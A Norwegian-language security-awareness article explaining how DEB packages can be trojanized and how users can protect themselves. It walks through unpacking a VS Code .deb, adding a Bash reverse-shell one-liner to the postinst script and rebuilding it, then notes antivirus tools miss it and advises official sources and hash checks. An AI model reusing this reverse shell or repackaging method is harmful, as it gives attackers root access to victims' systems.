Sikkerhetstrusler i DEB-pakker: Slik beskytter du Linux-systemet ditt

Viktige punkter

  • DEB-pakker kan lett manipuleres, slik at hackere kan legge inn skadelig kode i systemet ditt når du installerer dem med administratorrettigheter.
  • Det er vanskelig å oppdage infiserte DEB-pakker, siden de ofte ikke blir oppdaget av antivirusprogramvare eller nettskybaserte løsninger som VirusTotal.
  • For å beskytte deg, bør du unngå å laste ned DEB-pakker fra usikre nettsteder, holde deg til offisielle nedlastingssider eller pålitelige fellesskapssider, og vurdere å installere sikkerhetsverktøy for å beskytte Linux-systemet ditt mot nettverksangrep.

DEB-filer er programvarepakker og er den primære metoden for å distribuere programvare på Debian-baserte Linux-systemer.

For å installere DEB-pakker, må du bruke et verktøy for pakkehåndtering som dpkg med administratorrettigheter. Angripere utnytter dette og legger inn bakdører i disse pakkene. Når du installerer disse pakkene med dpkg eller et annet pakkeadministrasjonsverktøy, vil den ondsinnede koden også kjøres, og dermed sette systemet ditt i fare.

La oss undersøke hvordan DEB-pakker blir infisert og hva du kan gjøre for å beskytte deg selv.

Hvordan blir DEB-pakker infisert?

Før vi ser på hvordan DEB-pakker blir infisert, la oss se på hva som finnes i en DEB-pakke. For å demonstrere, vil jeg laste ned Microsoft Visual Studio Code DEB-pakken fra det offisielle nettstedet til Microsoft. Dette er den samme pakken du ville lastet ned hvis du ønsket å installere VS Code på Linux.

Nedlasting: Visual Studio Code

Nå som du har lastet ned pakken, er det på tide å pakke den ut. Du kan pakke ut en DEB-pakke ved å bruke dpkg-deb-kommandoen med -R-flagget, etterfulgt av stien der du ønsker å lagre innholdet:

 dpkg-deb -R <package_name> <path> 

Dette vil pakke ut innholdet i VS Code-pakken.

I denne mappen vil du finne forskjellige undermapper, men vi er kun interessert i DEBIAN-mappen. Denne mappen inneholder vedlikeholdsskript som kjøres under installasjonen med administratorrettigheter. Som du kanskje allerede har forstått, er det skriptene i denne mappen som endres av hackere.

For å demonstrere dette, vil jeg modifisere postinst-skriptet og legge til en enkel linje med Bash omvendt TCP-shell. Som navnet antyder, er dette et skript som kjøres etter at pakken er installert i systemet.

Dette skriptet inneholder kommandoer som fullfører konfigurasjoner som oppsett av symbolske lenker, avhengighetshåndtering og mer. Du kan finne mange forskjellige omvendte shell på internett. De fleste av dem vil fungere på samme måte. Her er et eksempel på en enkeltlinjes omvendt shell:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Forklaring av kommandoen:

  • bash: Dette er kommandoen som starter et Bash-shell.
  • -i: Dette flagget forteller Bash å kjøre i interaktiv modus, som tillater sanntids kommando I/O.
  • >& /dev/tcp/ip/port: Dette omdirigerer standard utgang og standard feil til en nettverksforbindelse, og etablerer i hovedsak en TCP-forbindelse til og .
  • 0>&1: Dette omdirigerer inngang og utgang til samme sted, dvs. til nettverksforbindelsen.

For de som ikke er kjent med dette, er et omvendt shell en type kode som, når den kjøres på en maskin, etablerer en tilkobling tilbake til hackerens maskin. Omvendte shell er en effektiv måte å omgå brannmurrestriksjoner på, siden trafikken genereres fra maskinen som befinner seg bak brannmuren.

Slik ser det modifiserte skriptet ut:

Som du ser, er alt det samme, men bare én linje er lagt til, som er vårt Bash-omvendte shell. Nå må du bygge filene tilbake til en «.deb»-fil. Du kan bruke dpkg-kommandoen med –build-flagget, eller dpkg-deb med -b-flagget etterfulgt av stien til det utpakkede innholdet:

 dpkg --build <directory>
dpkg-deb -b <directory>

Nå er den infiserte DEB-pakken klar til å legges ut på ondsinnede nettsteder. La oss simulere et scenario der et offer har lastet ned DEB-pakken til systemet sitt og installerer den som en hvilken som helst annen vanlig pakke.

Det øverste terminalvinduet er offerets perspektiv, og det nederste er hackerens perspektiv. Offeret installerer pakken med sudo dpkg -i, og hackeren venter tålmodig på innkommende forbindelser ved å bruke netcat-kommandoen i Linux.

Så snart installasjonen er fullført, ser vi at hackeren mottar den omvendte shell-forbindelsen, og nå har administratorrettigheter til offerets system. Nå vet du hvordan DEB-pakker kan infiseres. La oss nå se på hvordan du kan beskytte deg selv.

Hvordan oppdage om en DEB-pakke er skadelig

Nå som du vet at infiserte DEB-pakker finnes, lurer du kanskje på hvordan du kan oppdage dem. For det første kan du prøve å bruke en Linux-antivirusprogramvare som ClamAV. Dessverre, når en ClamAV-skanning ble utført på pakken, ble den ikke flagget som skadelig. Her er resultatet av skanningen:

Så med mindre du har en premium antivirusløsning (som ikke garanterer at du ikke blir hacket), er det ganske vanskelig å oppdage skadelige DEB-pakker. La oss prøve å bruke en nettskyløsning som VirusTotal:

Som du ser, oppdaget ikke VirusTotal noe galt med pakken. Den eneste måten å beskytte deg mot slike trusler er å følge grunnleggende sikkerhetspraksis, som å unngå å laste ned filer fra ukjente kilder, alltid kontrollere hashverdien av en fil, og generelt unngå å installere tvilsom programvare.

Internett er fylt med slike trusler. Den eneste måten å surfe trygt uten å miste dataene dine, er å være forsiktig og navigere på pålitelige nettsteder. I tillegg, for Linux, bør du også undersøke om programvaren du laster ned finnes i et AppImage-format, siden disse er selvstendige og kan isoleres i sandkasse, slik at de ikke kommer i kontakt med systemet ditt.

Ikke last ned DEB-pakker fra tilfeldige nettsteder!

DEB-pakker er ikke dårlige i seg selv, men hackere kan lett manipulere og distribuere dem til intetanende brukere. Som vist, kan en DEB-pakke enkelt åpnes og endres for å legge til tilpasset kode ved hjelp av bare noen få kommandoer, noe som gjør det til en vanlig metode for å spre skadelig programvare.

Selv enkle bakdører i DEB-pakker blir ikke oppdaget av de beste antivirusløsningene. Derfor er det beste du kan gjøre å være forsiktig, bruke sunn fornuft når du surfer på internett, og bare laste ned programvare fra offisielle nedlastingssider eller nettsteder som er pålitelige i fellesskapet.

Nå som du er klar over sikkerhetsrisikoen som følger med å installere DEB-pakker fra nye eller ukjente nettsteder, bør du være forsiktig når du installerer ny programvare. Det er imidlertid ikke nok å være forsiktig med hva du installerer. Linux-systemet ditt kan også være et mål for nettverksangrep.

For å sørge for at du er trygg i tilfelle et nettverksangrep, bør du vurdere å installere nettverkssikkerhetsverktøy.